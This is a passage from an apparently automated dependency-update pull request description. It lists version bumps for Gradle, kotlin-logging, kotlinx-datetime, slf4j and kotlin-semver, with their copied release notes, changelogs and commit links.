href=\"https://github.com/gradle/gradle/commit/fd78213f09782e62ca4957f9cfd3d90c6c3f1767\"\u003e\u003ccode\u003efd78213\u003c/code\u003e\u003c/a\u003e Update Documentation Infrastructure: Fix scrolling issue in user manual (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37861\"\u003e#37861\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7758437128d1c52702786ad719a13ade1b860aa8\"\u003e\u003ccode\u003e7758437\u003c/code\u003e\u003c/a\u003e fix scroll\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/2fd605fdcd69fea10570e9eb1343bbd7ca01c9d0\"\u003e\u003ccode\u003e2fd605f\u003c/code\u003e\u003c/a\u003e Only try to run as worker thread in DefaultBuildOperationQueue (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/af6984901238402386ae263d746380504e5f9138\"\u003e\u003ccode\u003eaf69849\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1 (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37853\"\u003e#37853\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/f4d9d03e9bb47d2d17b6d8314fdaa32c3d0b3c1e\"\u003e\u003ccode\u003ef4d9d03\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/01eda3adf40dbe97e81475e813705409dcfe1091\"\u003e\u003ccode\u003e01eda3a\u003c/code\u003e\u003c/a\u003e Address review feedback on worker-lease retry changes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7024e15139b2db9df831dd15a8b9e9052acd9a51\"\u003e\u003ccode\u003e7024e15\u003c/code\u003e\u003c/a\u003e Revert enrich file visitor with size info on \u003ccode\u003erelease\u003c/code\u003e branch (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37848\"\u003e#37848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/d51476fda21330c037a04b43ec9a93a929d05b87\"\u003e\u003ccode\u003ed51476f\u003c/code\u003e\u003c/a\u003e Fix tryRunAsWorkerThread null-return test to match contract\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/090ebabc5b6f648e01c0269a321d80372fdbfe0f\"\u003e\u003ccode\u003e090ebab\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Add getLength() to FilePropertyVisitor.VisitState\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/bceab24677298144860f6919bdcb031e806dbf23\"\u003e\u003ccode\u003ebceab24\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Fix annotation\u0026quot;\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gradle/gradle/compare/v9.5.0...v9.5.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.github.oshai:kotlin-logging-jvm` from 8.0.01 to 8.0.02\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/oshai/kotlin-logging/releases\"\u003eio.github.oshai:kotlin-logging-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.0.02\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix GraalVM native build error caused by stale substitution target in v8.x by \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oshai/kotlin-logging/pull/601\"\u003eoshai/kotlin-logging#601\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/oshai/kotlin-logging/compare/8.0.01...8.0.02\"\u003ehttps://github.com/oshai/kotlin-logging/compare/8.0.01...8.0.02\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oshai/kotlin-logging/commit/accd3ca8cbedefb818f6064ed526fb00a0141064\"\u003e\u003ccode\u003eaccd3ca\u003c/code\u003e\u003c/a\u003e bump version to 8.0.03\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oshai/kotlin-logging/commit/2bd058ada40799b7e3953b9f7d4a7112a4860fd2\"\u003e\u003ccode\u003e2bd058a\u003c/code\u003e\u003c/a\u003e bump version to 8.0.02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oshai/kotlin-logging/commit/8ab1a8a49d879b06272e088472981e57f56428d6\"\u003e\u003ccode\u003e8ab1a8a\u003c/code\u003e\u003c/a\u003e Fix GraalVM native build error caused by stale substitution target in v8.x (#...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/oshai/kotlin-logging/compare/8.0.01...8.0.02\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jetbrains.kotlinx:kotlinx-datetime` from 0.7.1 to 0.8.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/releases\"\u003eorg.jetbrains.kotlinx:kotlinx-datetime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.8.0\u003c/h2\u003e\n\u003cp\u003eBreaking changes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eTimeZone\u003c/code\u003e serialization (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/576\"\u003e#576\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAdditions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eorNull\u003c/code\u003e functions for non-throwing construction of datetime entities (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/68\"\u003e#68\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eparseOrNull\u003c/code\u003e extension functions for non-throwing attempts at parsing (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/508\"\u003e#508\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eLocalIsoWeekDate\u003c/code\u003e for representing \u003ca href=\"https://en.wikipedia.org/wiki/ISO_week_date\"\u003eISO week dates\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/603\"\u003e#603\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce functions for finding the next or previous date with the given day-of-week (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/129\"\u003e#129\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTweaks and fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix bugs in \u003ccode\u003eInstant.until\u003c/code\u003e and \u003ccode\u003eInstant.periodUntil\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/534\"\u003e#534\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAlways output seconds in the \u003ccode\u003eDateTimeComponents.Formats.RFC_1123\u003c/code\u003e format (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/608\"\u003e#608\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOn Kotlin/Native for Windows, whenever DST transitions are turned off by the user, the current system time zone is now fixed-offset (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/575\"\u003e#575\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 0.8.0-rc02\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003ev0.8.0-rc02\u003c/h2\u003e\n\u003cp\u003eEquivalent to \u003ccode\u003erc01\u003c/code\u003e, but published without \u003ccode\u003eInstant\u003c/code\u003e and \u003ccode\u003eClock\u003c/code\u003e.\nA separate compatibility artifact contains them for binary compatibility.\nPlease see \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/#deprecation-of-instant\"\u003ehttps://github.com/Kotlin/kotlinx-datetime/#deprecation-of-instant\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev0.8.0-rc01\u003c/h2\u003e\n\u003cp\u003eBreaking changes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eTimeZone\u003c/code\u003e serialization (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/576\"\u003e#576\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAdditions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eorNull\u003c/code\u003e functions for non-throwing construction of datetime entities (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/68\"\u003e#68\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eparseOrNull\u003c/code\u003e extension functions for non-throwing attempts at parsing (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/508\"\u003e#508\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eLocalIsoWeekDate\u003c/code\u003e for representing \u003ca href=\"https://en.wikipedia.org/wiki/ISO_week_date\"\u003eISO week dates\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/603\"\u003e#603\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce functions for finding the next or previous date with the given day-of-week (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/129\"\u003e#129\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTweaks and fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix bugs in \u003ccode\u003eInstant.until\u003c/code\u003e and \u003ccode\u003eInstant.periodUntil\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/534\"\u003e#534\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAlways output seconds in the \u003ccode\u003eDateTimeComponents.Formats.RFC_1123\u003c/code\u003e format (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/608\"\u003e#608\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOn Kotlin/Native for Windows, whenever DST transitions are turned off by the user, the current system time zone is now fixed-offset (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/575\"\u003e#575\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/blob/master/CHANGELOG.md\"\u003eorg.jetbrains.kotlinx:kotlinx-datetime's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.8.0\u003c/h2\u003e\n\u003cp\u003eBreaking changes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eTimeZone\u003c/code\u003e serialization (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/576\"\u003e#576\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAdditions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eorNull\u003c/code\u003e functions for non-throwing construction of datetime entities (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/68\"\u003e#68\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eparseOrNull\u003c/code\u003e extension functions for non-throwing attempts at parsing (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/508\"\u003e#508\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eLocalIsoWeekDate\u003c/code\u003e for representing \u003ca href=\"https://en.wikipedia.org/wiki/ISO_week_date\"\u003eISO week dates\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/603\"\u003e#603\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce functions for finding the next or previous date with the given day-of-week (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/129\"\u003e#129\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTweaks and fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix bugs in \u003ccode\u003eInstant.until\u003c/code\u003e and \u003ccode\u003eInstant.periodUntil\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/534\"\u003e#534\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAlways output seconds in the \u003ccode\u003eDateTimeComponents.Formats.RFC_1123\u003c/code\u003e format (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/608\"\u003e#608\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOn Kotlin/Native for Windows, whenever DST transitions are turned off by the user, the current system time zone is now fixed-offset (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/575\"\u003e#575\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 0.8.0-rc02\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003e0.8.0-rc02\u003c/h2\u003e\n\u003cp\u003eEquivalent to \u003ccode\u003erc01\u003c/code\u003e, but published without \u003ccode\u003eInstant\u003c/code\u003e and \u003ccode\u003eClock\u003c/code\u003e.\nA separate compatibility artifact contains them for binary compatibility.\nPlease see \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/#deprecation-of-instant\"\u003ehttps://github.com/Kotlin/kotlinx-datetime/#deprecation-of-instant\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003e0.8.0-rc01\u003c/h2\u003e\n\u003cp\u003eBreaking changes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eTimeZone\u003c/code\u003e serialization (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/576\"\u003e#576\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAdditions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eorNull\u003c/code\u003e functions for non-throwing construction of datetime entities (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/68\"\u003e#68\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eparseOrNull\u003c/code\u003e extension functions for non-throwing attempts at parsing (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/508\"\u003e#508\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eLocalIsoWeekDate\u003c/code\u003e for representing \u003ca href=\"https://en.wikipedia.org/wiki/ISO_week_date\"\u003eISO week dates\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/603\"\u003e#603\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce functions for finding the next or previous date with the given day-of-week (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/129\"\u003e#129\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTweaks and fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix bugs in \u003ccode\u003eInstant.until\u003c/code\u003e and \u003ccode\u003eInstant.periodUntil\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/534\"\u003e#534\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAlways output seconds in the \u003ccode\u003eDateTimeComponents.Formats.RFC_1123\u003c/code\u003e format (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/608\"\u003e#608\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOn Kotlin/Native for Windows, whenever DST transitions are turned off by the user, the current system time zone is now fixed-offset (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/575\"\u003e#575\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/591ce9bd83df08322105e10d51f90b2baa5355cd\"\u003e\u003ccode\u003e591ce9b\u003c/code\u003e\u003c/a\u003e Merge branch 'dkhalanskyjb/remove-deprecated-instant' into version-0.8.0-normal\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/a2eb07444986b897f062b39510a22b838bc2394f\"\u003e\u003ccode\u003ea2eb074\u003c/code\u003e\u003c/a\u003e Version 0.8.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/f487af449b536bd130a8d1eb9fd4dcbb80c5a59e\"\u003e\u003ccode\u003ef487af4\u003c/code\u003e\u003c/a\u003e Describe the release procedures (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/edc1183a08ac54d60504b2288ab0a9f31698fce1\"\u003e\u003ccode\u003eedc1183\u003c/code\u003e\u003c/a\u003e Add contribution guidelines (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/4b485b7b6aac3539893b0238c8e81c2d5ff0402d\"\u003e\u003ccode\u003e4b485b7\u003c/code\u003e\u003c/a\u003e Added templates to the issue creation wizard (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/616\"\u003e#616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/c2854bd91aa2f2d43ece1e1884c06c75f6020f27\"\u003e\u003ccode\u003ec2854bd\u003c/code\u003e\u003c/a\u003e Updated kotlinx.team.infra plugin and regenerated publication pipeline (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/619\"\u003e#619\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/ef03b193e6d1d3b50b51ca0f12a22e85dbd05b5d\"\u003e\u003ccode\u003eef03b19\u003c/code\u003e\u003c/a\u003e Version 0.8.0-rc02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/a1ac46e06b9d3310d3b31a025eb6a62297f317ff\"\u003e\u003ccode\u003ea1ac46e\u003c/code\u003e\u003c/a\u003e Use IANA tzdb 2026b (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/620\"\u003e#620\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/c006a0f07dc129d8afa3760f3f4c01c6bd2d2296\"\u003e\u003ccode\u003ec006a0f\u003c/code\u003e\u003c/a\u003e Version 0.8.0-rc01\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/4ae47efa9f1860bd772322bd0b0e3bfb7ad38ec8\"\u003e\u003ccode\u003e4ae47ef\u003c/code\u003e\u003c/a\u003e Small improvements to various docs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/578\"\u003e#578\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/compare/v0.7.1...v0.8.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.slf4j:slf4j-api` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:slf4j-simple` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:slf4j-simple` from 2.0.17 to 2.0.18\n\nUpdates `io.github.z4kn4fein:semver` from 3.0.0 to 3.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/releases\"\u003eio.github.z4kn4fein:semver's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.1.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for Maven-style constraint parsing and formatting.\u003c/li\u003e\n\u003cli\u003eAbility to extend constraint parsing and formatting with custom \u003ccode\u003eConditionParser\u003c/code\u003e and \u003ccode\u003eConditionFormatter\u003c/code\u003e implementations.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConstraint parsing now reduces the constructed conditions by removing redundancies.\nFor example \u003ccode\u003e\u0026gt;1.0.0 \u0026lt;2.0.0 \u0026gt;1.1.0\u003c/code\u003e is now reduced to \u003ccode\u003e\u0026gt;1.1.0 \u0026lt;2.0.0\u003c/code\u003e, or \u003ccode\u003e\u0026gt;1.1.0 \u0026lt;1.1.0\u003c/code\u003e is reduced to \u003ccode\u003e!=1.1.0\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eConstraint parsing now validates the constructed conditions,\nfor example, parsing \u003ccode\u003e\u0026gt;2.0.0 \u0026lt;1.0.0\u003c/code\u003e or \u003ccode\u003e\u0026gt;2.3.4 \u0026lt;2.3.7 !=2.3\u003c/code\u003e now results in a \u003ccode\u003eConstraintFormatException\u003c/code\u003e because they are impossible to satisfy.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/blob/main/CHANGELOG.md\"\u003eio.github.z4kn4fein:semver's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[3.1.0] - 2026-05-04\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for Maven-style constraint parsing and formatting.\u003c/li\u003e\n\u003cli\u003eAbility to extend constraint parsing and formatting with custom \u003ccode\u003eConditionParser\u003c/code\u003e and \u003ccode\u003eConditionFormatter\u003c/code\u003e implementations.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConstraint parsing now reduces the constructed conditions by removing redundancies.\nFor example \u003ccode\u003e\u0026gt;1.0.0 \u0026lt;2.0.0 \u0026gt;1.1.0\u003c/code\u003e is now reduced to \u003ccode\u003e\u0026gt;1.1.0 \u0026lt;2.0.0\u003c/code\u003e, or \u003ccode\u003e\u0026gt;1.1.0 \u0026lt;1.1.0\u003c/code\u003e is reduced to \u003ccode\u003e!=1.1.0\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eConstraint parsing now validates the constructed conditions,\nfor example, parsing \u003ccode\u003e\u0026gt;2.0.0 \u0026lt;1.0.0\u003c/code\u003e or \u003ccode\u003e\u0026gt;2.3.4 \u0026lt;2.3.7 !=2.3\u003c/code\u003e now results in a \u003ccode\u003eConstraintFormatException\u003c/code\u003e because they are impossible to satisfy.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/260a381604118dec84f35a5098e90ebbeb554dec\"\u003e\u003ccode\u003e260a381\u003c/code\u003e\u003c/a\u003e Squashed commit of the following:\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/26b897e8f11168759cb2a8223a38aee713ede32c\"\u003e\u003ccode\u003e26b897e\u003c/code\u003e\u003c/a\u003e Bump JamesIves/github-pages-deploy-action from 4.7.6 to 4.8.0 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/69\"\u003e#69\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/5bb8b113a27e241067e34e1239f9fdec4f1615e2\"\u003e\u003ccode\u003e5bb8b11\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 5 to 6 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/63\"\u003e#63\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/bfc6b3aee69a5a286624faf68dc790c759ce3b24\"\u003e\u003ccode\u003ebfc6b3a\u003c/code\u003e\u003c/a\u003e Bump actions/download-artifact from 6 to 7 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/64\"\u003e#64\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/b96d8b46298fac871281a71410b0e3e83ed80fa7\"\u003e\u003ccode\u003eb96d8b4\u003c/code\u003e\u003c/a\u003e Bump actions/cache from 4 to 5 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/65\"\u003e#65\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/2c4670ddbac47030f5f2f050a8c74735790073fc\"\u003e\u003ccode\u003e2c4670d\u003c/code\u003e\u003c/a\u003e Bump actions/upload-artifact from 5 to 6 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/66\"\u003e#66\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/ab56af2e95165dd9343eeb8451a0ed7ea5df6b77\"\u003e\u003ccode\u003eab56af2\u003c/code\u003e\u003c/a\u003e Bump JamesIves/github-pages-deploy-action from 4.7.4 to 4.7.6 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/67\"\u003e#67\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/1a403af4d037b2b59775bfdc6b6bd47ce8291cff\"\u003e\u003ccode\u003e1a403af\u003c/code\u003e\u003c/a\u003e Bump actions/download-artifact from 5 to 6 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/60\"\u003e#60\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/3a9ae5a685272f5bc90d62847da27bffd8e02b56\"\u003e\u003ccode\u003e3a9ae5a\u003c/code\u003e\u003c/a\u003e Bump actions/upload-artifact from 4 to 5 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/61\"\u003e#61\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/f96dce022ac5008ed9cad2f91415bb6b63574721\"\u003e\u003ccode\u003ef96dce0\u003c/code\u003e\u003c/a\u003e Bump JamesIves/github-pages-deploy-action from 4.7.3 to 4.7.4 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/62\"\u003e#62\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/compare/3.0.0...3.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jetbrains.kotlinx:kotlinx-coroutines-test` from 1.10.2 to 